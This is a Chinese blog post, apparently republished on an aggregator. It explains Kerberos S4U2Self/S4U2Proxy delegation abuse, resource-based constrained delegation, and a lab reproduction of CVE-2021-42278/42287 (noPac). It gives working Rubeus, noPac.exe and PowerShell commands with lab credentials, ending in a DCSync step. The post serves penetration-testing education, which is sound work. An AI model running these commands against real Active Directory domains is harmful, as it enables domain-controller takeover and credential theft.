【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權

【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權


文章目錄

  • 【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權
    • @[toc]
    • 一:Kerberos 委派攻擊原理之 S4U2利用
      • 1.1原理
      • 1.2兩種擴展協議
        • **S4U2Self (Service for User to Self)**
        • **S4U2Proxy (Service for User to Proxy)**
      • 1.3 S4U2Self利用過程
        • 1.3.1前提條件
        • 1.3.2利用步驟
      • 1.4S4U2Proxy利用過程
        • 1.4.1利用前提條件
        • 1.4.2詳細利用步驟(Rubeus)
      • 1.5:**基于資源的約束委派(RBCD)利用**
    • 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞復現
      • 2.1概念說明
      • 2.2漏洞復現
        • (1)noPac 利用
        • (2)手動注入分析
    • **修改計算機賬戶的 `sAMAccountName`(推薦)**

一:Kerberos 委派攻擊原理之 S4U2利用

1.1原理

S4U2Self(Service For User to Self)是 Kerberos 協議的一種委托機制,允許服務(Service)代表用戶(User)自身獲取用戶的票證(Ticket)。這個機制在 Windows 環境中廣泛應用于網絡服務和應用程序,以便在用戶訪問需要身份驗證的資源時,能夠以用戶的身份獲取必要的票證,而無需用戶交互地提供憑證。正因有了委托機制才使得攻擊者以某個合法用戶的身份請求特定服務的票證,然后利用漏洞偽造這些票證,從而獲取到更高的權限。

當 Kerberos 無約束委派在服務器上啟用,服務器托管了在 TGS-REQ (步驟3)中引用的服務主體名稱中指定的服務時,DC 域控制器將用戶 TGT 的一個副本放到服務票證中。 當向服務器提供用戶的服務票證(TGS)以進行服務訪問時,服務器打開 TGS 并將用戶的 TGT 放入 LSASS 中供后續使用。 此時,應用程序服務器就可以無限制地假冒該用戶

在這里插入圖片描述

1.2兩種擴展協議

S4U2Self (Service for User to Self)

用途

允許服務代表用戶獲取 該用戶自己的服務票據(ST),而無需用戶密碼或交互。
典型場景

  • 用戶通過非Kerberos方式(如表單認證)登錄后,服務需獲取用戶的Kerberos票據。
  • 約束委派/無約束委派攻擊中模擬用戶身份。

關鍵特性

  • 無需用戶密碼:服務使用自己的TGT請求用戶的ST。
  • 票據加密:返回的ST使用 服務賬戶的密鑰 加密(而非用戶的)。
  • 權限要求:服務賬戶需配置 “TrustedToAuthForDelegation”(無約束委派)或約束委派權限。

請求流程

  1. 服務向KDC發送請求,包含:
    • 服務賬戶的TGT
    • 目標用戶的UPN(如user@domain.com
    • 目標SPN(如http/service.domain.com
  2. KDC返回加密的ST(可被服務解密使用)。
S4U2Proxy (Service for User to Proxy)

用途

允許服務在已獲得用戶授權后,代表用戶獲取 其他服務的票據(跨服務委派)。
典型場景

  • 三層應用架構中(如Web→DB),Web服務代表用戶訪問DB服務。
  • 約束委派攻擊中橫向移動。

關鍵特性

  • 需用戶授權:需先通過S4U2Self獲取用戶的ST(作為"證據")。
  • 約束限制:僅能委派到 msDS-AllowedToDelegateTo 中指定的服務。
  • 票據轉發:最終ST仍以用戶身份加密,但由服務代理請求。

請求流程

  1. 服務通過S4U2Self獲取用戶的ST(如user→http/service)。
  2. 服務向KDC發送請求,包含:
    • 服務賬戶的TGT
    • 用戶的ST(作為授權證據)
    • 目標SPN(如cifs/db.domain.com
  3. KDC返回用戶對目標服務的ST(如user→cifs/db)。

1.3 S4U2Self利用過程

1.3.1前提條件
  • 需要擁有一個具有 SPN (Service Principal Name) 的服務賬戶

    在這里插入圖片描述

  • 該服務賬戶需要被授予 “TrustedToAuthForDelegation” 權限

    在這里插入圖片描述

1.3.2利用步驟

(1)獲取服務賬戶憑據

  • 通過密碼、哈希或 Kerberos 票據獲取服務賬戶的訪問權限

(2)請求 S4U2Self 票據

  • 使用服務賬戶的 TGT (Ticket Granting Ticket)
  • 為目標用戶請求服務票據,指定服務賬戶的 SPN
  • 使用 KRB_TGS_REQ 請求,包含 PA-FOR-USER 結構

處理響應

  • 接收 KDC 返回的服務票據
  • 票據將加密為服務賬戶的密鑰,而不是目標用戶的密鑰

使用票據

  • 可以使用該票據訪問目標服務
  • 服務會認為請求來自目標用戶

可以獲得訪問權限

1.4S4U2Proxy利用過程

1.4.1利用前提條件
  • 服務賬戶:擁有SPN的賬戶
  • 約束委派權限
    • 賬戶配置了msDS-AllowedToDelegateTo屬性
    • 可以委派到指定的服務(如CIFS、LDAP等)
  • 有效的TGT:服務賬戶的Kerberos票據
  • 用戶授權
    • 需要用戶的TGS(傳統約束委派)
    • 或配置了基于資源的約束委派(Resource-based Constrained Delegation)
1.4.2詳細利用步驟(Rubeus)

(1) 識別具有約束委派權限的賬戶

使用PowerShell或ldapsearch查詢域中配置了約束委派的賬戶

(2)獲取服務賬戶的TGT

使用已獲取的服務賬戶憑據請求TGT

(3)執行S4U2Proxy攻擊

(4)使用獲取的票據

如果使用了/ptt參數,票據會自動注入當前會話。否則可以手動注入,然后可以使用該票據訪問目標服務。

在這里插入圖片描述

1.5:基于資源的約束委派(RBCD)利用

當配置了基于資源的約束委派時:

(1) 檢查目標計算機的msDS-AllowedToActOnBehalfOfOtherIdentity

Get-NetComputer dc01 | Select-Object -Property msDS-AllowedToActOnBehalfOfOtherIdentity

(2) 配置新的委派關系

$comp = Get-ADComputer dc01
$sid = (Get-ADComputer attackercomputer).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Set-ADComputer dc01 -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}

(3) 執行完整的S4U攻擊鏈

Rubeus.exe s4u /user:attackercomputer$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc01 /altservice:http /ptt

二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞復現

2.1概念說明

機器賬戶的名字一般來說應該以$結尾,但AD沒有對域內機器賬戶名做驗證。

創建與DC機器賬戶名字相同的機器賬戶(不以$結尾),賬戶請求一個TGT后,更名賬戶,然后通過S4U2self申請TGS Ticket,接著DC在TGS_REP階段,這個賬戶不存在的時候,DC會使用自己的密鑰加密TGS Ticket,提供一個屬于該賬戶的PAC,然后我們就得到了一個高權限ST。過程如上圖所示。

允許攻擊者任意修改計算機帳戶sAMAccountName字段,進而模擬域控申請票據。

加入域的機器賬戶默認由結尾,samAccountName默認和域機器名一致。但DC沒有對sAMAccountName屬性進行合法性判斷,導致刪除sAMAccountName結尾的$"照樣可以以機器用戶身份申請TGT票據。

配合 CVE-2021-42278 使用,創建與域控機器賬戶名字相同的機器賬戶(不以$結尾),賬戶請求一個TGT后,更名賬戶,然后通過S4U2self 申請TGS Ticket,接著域控在 TGS_REP 階段,這個賬戶不存在的時候,DC會使用自己的密鑰加密 TGS Ticket ,提供一個屬于該賬戶的 PAC,然后我們就得到了一個高權限ST。

2.2漏洞復現

域控

域名:test.com
賬戶:administrator
密碼:QAX@123
計算機名:WIN-ISB0SNPKEPI

普通域用戶

賬戶:s4u2
密碼:QAX@123
(1)noPac 利用

檢查是否存在漏洞

noPac.exe scan -domain test.com -user s4u2 -pass QAX@123

在這里插入圖片描述

在這里插入圖片描述

noPac.exe -domain test.com -user s4u2 -pass QAX@123 /dc WIN-ISB0SNPKEPI.test.com /mAccount demohb /mPassword QAX@123 /service cifs /ptt

[!NOTE]

參數 說明
-domain htb.local 目標域名。
-user domain_user 普通域用戶賬號(需具備創建計算機賬戶的權限)。
-pass ‘Password123!’ 對應用戶的密碼。
/dc dc02.htb.local 指定域控制器的主機名。
/mAccount demo123 攻擊者創建的惡意計算機賬戶名稱(用于名稱偽裝)。
/mPassword Password123! 惡意計算機賬戶的密碼。
/service cifs 目標服務(通常為 cifs 以訪問文件共享)。
/ptt 將生成的票據注入當前會話(Pass-the-Ticket)。

在這里插入圖片描述

獲得票據信息以及訪問權限:

在這里插入圖片描述

(2)手動注入分析

具體流程:

  1. 首先創建一個機器賬戶,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR協議創建機器賬戶,這個方法所創建的機器賬戶沒有SPN,所以可以不用清除

  2. 清除機器賬戶的servicePrincipalName屬性

  3. 將機器賬戶的sAMAccountName,更改為DC的機器賬戶名字,注意后綴不帶$

  4. 為機器賬戶請求TGT

  5. 將機器賬戶的sAMAccountName更改為其他名字,不與步驟3重復即可

  6. 通過S4U2self協議向DC請求ST

  7. 進行 DCsync Attack

普通域賬戶:s4u2用戶是一個普通的域用戶:

在這里插入圖片描述

在這里插入圖片描述

新增機器賬戶:域用戶默認可以新建10個機器賬戶

在這里插入圖片描述

清除SPN信息

在這里插入圖片描述

重設機器名稱

[!NOTE]

修改計算機賬戶的 sAMAccountName(推薦)

適用場景

  • 你希望計算機賬戶在 AD 中顯示不帶 $ 的名稱(但實際 Kerberos 認證仍會使用 COMPUTERNAME$

步驟

  1. 打開 Active Directory 用戶和計算機dsa.msc
  2. 找到目標計算機賬戶(默認在 Computers 容器或自定義 OU)
  3. 右鍵 → 屬性 → 屬性編輯器
    • 找到 sAMAccountName,默認值類似 COMPUTERNAME$
    • 修改為不帶 $ 的名稱(如 COMPUTERNAME
  4. 點擊確定保存

注意

  • 修改后,該計算機仍然需要使用 COMPUTERNAME$ 進行 Kerberos 認證$ 是系統必需的)。
  • 只是 sAMAccountName 顯示變化,不影響實際功能。

修改計算機的名字

在這里插入圖片描述

可以看到已經修改完成了

在這里插入圖片描述

Request TGT (請求TGT)

./Rubeus.exe asktgt /user:demo1 /password:QAX@123 /domian:test.com /dc:WIN-ISB0SNPKEPI.test.com /nowrap

[!NOTE]

參數說明
/userDemo1目標計算機賬戶
/passwordQAX@123計算機賬戶的密碼(可能無效)
/domaintest.com目標域名
/dcWIN-ISB0SNPKEPI.test.com域控制器主機名(需確保可解析)
/nowrap-輸出票據不換行

在這里插入圖片描述

Request S4U2self(獲取票據)

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/905455.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/905455.shtml
英文地址,請注明出處:http://en.pswp.cn/news/905455.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AD 間距規則與布線規則

1. 打開在線規則檢查 2. 間距規則 一般來說最小間距設為6mil 注意&#xff1a; AD22 也提供類似低版本那樣的、多個間距規則疊加的方法&#xff0c;通過選擇第一個適配對象和第二個適配對象來篩選對象和范圍。 ① Where The First Object Matches &#xff1a;選擇規則第一個…

Android Studio 安裝與配置完全指南

文章目錄 第一部分&#xff1a;Android Studio 簡介與安裝準備1.1 Android Studio 概述1.2 系統要求Windows 系統&#xff1a;macOS 系統&#xff1a;Linux 系統&#xff1a; 1.3 下載 Android Studio 第二部分&#xff1a;安裝 Android Studio2.1 Windows 系統安裝步驟2.2 mac…

springboot踩坑記錄

之前運行好端端的項目&#xff0c;今天下午打開只是添加了一個文件之后 再運行都報Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured.Reason: Failed to determine a suitable driver class Action: Conside…

【計算機視覺】OpenCV實戰項目:Deep Machine Learning Tutors:基于OpenCV的實時面部識別系統深度解析

Deep Machine Learning Tutors&#xff1a;基于OpenCV的實時面部識別系統深度解析 1. 項目概述2. 技術原理2.1 面部識別流程2.2 關鍵技術組件2.2.1 Haar級聯分類器2.2.2 深度特征提取 3. 項目實現細節3.1 系統架構3.2 核心算法實現3.2.1 人臉檢測3.2.2 實時處理流水線 4. 項目運…

Flutter在鍵盤的上方加一個完成按鈕

有些情況下&#xff0c;輸入框在輸入鍵盤彈出后&#xff0c; 需要在鍵盤的上方顯示一個toolbar &#xff0c; 然后 toolbar 上面一個完成按鈕&#xff0c;點完成按鈕把鍵盤關閉。 如圖&#xff1a; 直接上代碼&#xff0c;這樣寫的好處是&#xff0c;把 TextField 給封裝了&…

Flink SQL 將kafka topic的數據寫到另外一個topic里面

-- 創建源表&#xff0c;使用 RAW 格式接收原始 JSON 數據 CREATE TABLE source_kafka ( id STRING, data STRING ) WITH ( connector kafka, topic source_kafka-topic, properties.bootstrap.servers master01:9092, properties.group.id flink-kafka-group, scan.startu…

618開售僅1小時,李佳琦直播間加購同增超10%

5月13日晚8點&#xff0c;天貓618大促正式拉開帷幕&#xff0c;李佳琦直播間首日“爆款美妝節”公布首輪戰報&#xff1a;首小時加購GMV同比增長超10%&#xff0c;可復美、珀萊雅等品牌超60萬件國貨爆品秒售罄。 據統計&#xff0c;今年李佳琦直播間618首日預售共上架近500件爆…

【輕松學 C:編程小白的大冒險】— 16 函數的定義與調用

在編程的藝術世界里&#xff0c;代碼和靈感需要尋找到最佳的交融點&#xff0c;才能打造出令人為之驚嘆的作品。而在這座秋知葉i博客的殿堂里&#xff0c;我們將共同追尋這種完美結合&#xff0c;為未來的世界留下屬于我們的獨特印記。 【輕松學 C&#xff1a;編程小白的大冒險…

多模態大語言模型arxiv論文略讀(七十四)

UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ?? 論文標題&#xff1a;UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ?? 論文作者&#xff1a;Hantao Zhou, Longxiang Tang, Ru…

Flutter - UIKit開發相關指南 - 線程和異步

線程和異步 編寫異步代碼 Dart采用單線程執行模型,支持Isolates(在另一個線程上運行Dart代碼)、事件循環和異步編程。除非生成一個Isolates&#xff0c;否則Dart代碼將在主UI線程中運行&#xff0c;并由事件循環驅動。Flutter的事件循環相當于iOS的主線程上的RunLoop。 Dart…

【愚公系列】《Manus極簡入門》038-數字孿生設計師:“虛實映射師”

&#x1f31f;【技術大咖愚公搬代碼&#xff1a;全棧專家的成長之路&#xff0c;你關注的寶藏博主在這里&#xff01;】&#x1f31f; &#x1f4e3;開發者圈持續輸出高質量干貨的"愚公精神"踐行者——全網百萬開發者都在追更的頂級技術博主&#xff01; &#x1f…

西門子WinCC Unified PC的GraphQL使用手冊

TIA V20版本&#xff1a;添加用戶 添加角色&#xff0c;并充分授權&#xff0c;尤其是GraphQL的讀寫權限。 通過SIMATIC Runtime Manager啟動wincc unifi工程。 打開瀏覽器&#xff0c;訪問本地的https://localhost/graphql/&#xff0c;運行正常如圖&#xff1a; 連接外…

開源長期主義:淺談DeepSeek技術主張與早期論文

開源、長期主義與DeepSeek的技術愿景 ©作者|格林 來源|神州問學 導入&#xff1a;Deepseek在早期就開源了許多優秀的指令模型與對話模型&#xff0c;并發布了多篇論文。以下&#xff0c;我們將基于Deepseek在早期發布的6篇論文&#xff0c;來梳理Deepseek公司的技術路徑與…

TTS-Web-Vue系列:Vue3實現內嵌iframe文檔顯示功能

&#x1f5bc;? 本文是TTS-Web-Vue系列的新篇章&#xff0c;重點介紹如何在Vue3項目中優雅地實現內嵌iframe功能&#xff0c;用于加載外部文檔內容。通過Vue3的響應式系統和組件化設計&#xff0c;我們實現了一個功能完善、用戶體驗友好的文檔嵌入方案&#xff0c;包括加載狀態…

Elasticsearch索引設計與調優

一、分片策略設計 1.?分片容量規劃 單分片容量建議30GB(日志場景可放寬至100GB),避免超大分片引發查詢延遲。分片總數計算公式:總數據量 / 30GB 1.2(20%余量應對未來增長)。主分片數創建后不可修改,副本分片數支持動態調整。2.?分片分布優化 PUT logs-2025 { &qu…

Spring AI 集成 Mistral AI:構建高效多語言對話助手的實戰指南

Spring AI 集成 Mistral AI&#xff1a;構建高效多語言對話助手的實戰指南 前言 在人工智能應用開發領域&#xff0c;選擇合適的大語言模型&#xff08;LLM&#xff09;與開發框架至關重要。Mistral AI 憑借其高效的多語言模型&#xff08;如 Mistral-7B、Mixtral-8x7B 等&am…

從新手到高手:全面解析 AI 時代的「魔法咒語」——Prompt

引言&#xff1a;AI 時代的「語言煉金術」 在人工智能技術突飛猛進的今天&#xff0c;我們正在經歷一場堪比工業革命的生產力變革。從聊天機器人到圖像生成&#xff0c;從數據分析到自動化寫作&#xff0c;AI 模型正在重塑人類與信息交互的方式。而在這一切背后&#xff0c;隱…

MySQL 8.0安裝(壓縮包方式)

MySQL 8.0安裝(壓縮包方式) 下載安裝包并解壓 下載 https://dev.mysql.com/downloads/mysql/可關注“后端碼匠”回復“MySQL8”關鍵字獲取 解壓&#xff08;我解壓到D:\dev\mysql-8.4.5-winx64目錄下&#xff09; 創建mysql服務 注意&#xff0c;這步之前一定要保證自己電…

免費Ollama大模型集成系統——Golang

Ollama Free V2 Web 功能實現&#xff1a;界面交互與后端邏輯 一、Web 界面概述 Ollama Free V2 的 Web 界面提供了豐富的交互功能&#xff0c;包括模型選擇、圖片上傳、歷史記錄查看等。界面使用 Bootstrap 進行布局&#xff0c;結合 JavaScript 實現動態交互。 二、前端界…

【AI】人工智能數據標注細分和商業機會

一、數據標注的常見方法 數據標注是為人工智能模型訓練提供高質量標簽的過程&#xff0c;根據數據類型&#xff08;圖像、文本、音頻、視頻等&#xff09;的不同&#xff0c;標注方法也有所差異&#xff1a; 1. 圖像標注 分類標注&#xff1a;為圖像分配類別標簽&#xff08…